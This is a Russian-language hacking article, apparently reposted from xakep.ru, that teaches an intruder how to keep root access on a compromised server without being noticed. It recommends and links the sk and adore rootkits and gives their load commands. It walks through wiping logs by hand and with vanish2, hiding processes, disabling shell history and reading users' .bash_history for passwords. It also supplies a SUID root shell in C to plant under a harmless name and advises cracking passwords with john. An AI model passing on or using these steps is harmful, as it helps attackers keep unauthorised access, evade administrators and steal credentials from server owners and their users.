Автор: 'Unknown' Источник: http://www.xakep.ru/ Пишу эту статью и вспоминаю мои первые взломанные сервера %) Разумеется рутом на них я был недолгое время. Причем, сам удивлялся - почему же мое пребывание на сервере раскрыли и запатчили все дыры, через которые я ломал сервер. Теперь ситуация становится яснее - логвайперами я в то время не пользовался, да и за своей безопасностью мало следил... На этом трагическом вступлении мои воспоминания заканчиваются - сегодня я поведаю тебе основные правила, подчиняясь которым ты на много процентов повысишь твою "незамеченность" на зарутанном серваке Итак, начнем. После удачного диалога с сервером у тебя получилось нечто: Source code / Bash bash$ gcc coolexploit.c -o cool bash$ ./cool Enjoy! uid=0(root) gid=0(root) bash# После последней строки у многих начинается паника: что делать? Как не засветиться в дальнейшем и удержать права рута? Начнем с самого важного - создадим "невидимость" на сервере. На любителя - установка руткитов, которые заменяют бинарники, типа /bin/ls /bin/netstat, etc... Если админ умный - то у него будет chrootkit и бекап системы. Проверяя контрольную сумму бинарников, он запросто вычислит твое пребывание... Но - это смотря какой админ Подгрузка дополнительных модулей в ядро... Уже что-то. На этот счет, у меня два претендента на описание - sk-1.3a и adore. Обо всем по порядку: sk-1.3a - по сути это подмененный /sbin/init+бинарник sk. Содержит сниффер (локальный - записывает stdin,stdout,stderr суид-бинарников), скрывает твои процессы и обеспечивает безопасный вход на сервер . По сути, /sbin/init - обеспечивает корректную работу с inetd-сервисами. Трояненный бинарник пускает тебя в систему, когда ты с помощью loginа от sk коннектишься на тачку на любой открытый сервисный порт. Удобно и просто... Побочные эффекты: сорит в логах о невозможности подгрузить модули в ядро... Админы могут заметить. Качать с http://sd.g-art.nl/sk/ adore - модуль ядра, который способен скрывать твои процессы и прятать файлы. Компилишь, затем insmod adore.o; insmod cleaner.o; rmmod cleaner. После этих действий система загрузит адору и уберет модуль из lsmod. Также поставляется бинарник ava - прячет процессы и файлы на сервере. Побочные эффекты: Adore отрубает syslogd при первом сокрытии твоих процессов.. Нет поддержки входа на сервер... Так, что тебе потребуется user-account, чтобы воспользоваться этим руткитом. Брать с http://teso.scene.at/releases/adore-0.42.tgz Итак, ты обеспечил себе вход на сервер... Далее следует чистка логов. В первое время доверять логвайперам не стоит, поэтому выполни следующее: Source code / Bash bash# tail -50 /var/log/messages; tail -50 /var/log/auth.log; tail -50 /var/log/secure Если, ты увидишь заметки о твоем взломе/пребывании на сервере, делай vi logfile и чисти ненужные строки. Затем проверь почту rootа - возможно там есть мыло о взломе: Source code / Bash bash# mail -f /var/spool/mail/root Warning... crc-attack detected & d1 & q bash# После того, когда ты уверен, что логи системы вычищены - качай http://packetstormsecurity.org/UNIX/penetration/log-wipers/vanish2.tgz, компиль и выполняй: Source code / txt ./vanish2 username 0 yourip Этим ты сотрешь все строки своего пребывания на сервере (username - логин под которым ты засветился, yourip - твой ip адрес). Внимание! Когда ты небезопасно (под юзерским аккаунтом заходишь на сервер) - юзай vanish при каждом входе. Наилучший вариант - закинь бинарник в /usr/bin, а затем адорой скрой его. Если ты ходишь простым аккаунтом - скрой все свои процессы, например, таким кодом: Source code / Bash perl -e @ps=system("ps -u user | awk { print($1) } \"); foreach (@ps) { chomp; /usr/bin/ava i $_ } Где user - твой логин, а /usr/bin/ava - _скрытый_бинарник адоры. Итак, ты почистил логи и полностью уверен в своей безопасности... Дам тебе напоследок несколько советов, выполняя которые ты увеличишь срок хранения root-привелегий Читай хистори юзеров. Часто они там оставляют рут-пароли либо пароли на mysql. В папке каждого пользователя (если он имеет shell /bin/bash) имеется скрытый файл .bash_history - найди их все: locate .bash_history и прочитай. Не свети свои команды, но и не уводи историю рута в /dev/null. Этого делать не надо, так как админы могут по этому симлинку заметить, что их поломали: простой вариант - export HISTFILE=/dev/null при каждом запуске shell. Бывает, что сервер ломают и до тебя. Чтобы "убить" прежних взломщиков и поглядеть, какие файлы они оставили на тачке - напиши следующие команды (в большинстве процентов, если сервер был взломан заранее, они увенчаются успехом): Source code / Bash find /dev -type d find /tmp -type d find / -type f -perm 4755 Если ты найдешь директории типа /dev/...или /tmp/.. - то в них что-то есть. Как запасной вариант - создание суид-шелла. Через него ты можешь получить рута, но его могут засечь админы. Код такой: Source code / Bash int main() { setuid(0); setgid(0); system("bash"); } Компилим, кидаем в бинарники под скромным именем... и возможно пользуемся им. Разгадывай пароли пользователей. Попробуй john-ом прогнать всех пользователей на сервере в том числе и рута... Пробуй в качестве словаря тот язык, в зоне которого находится тачка.. Возможно сработает. И наконец, не заходи на взломанную машину напрямую с твоего диалапа или прововской выделенки. Если напишут жалобу админу - то у тебя будут неприятности... Лучше зарегистри где-нибудь халявный шелл и юзай взломанный сервер через тамошний ssh-клиент.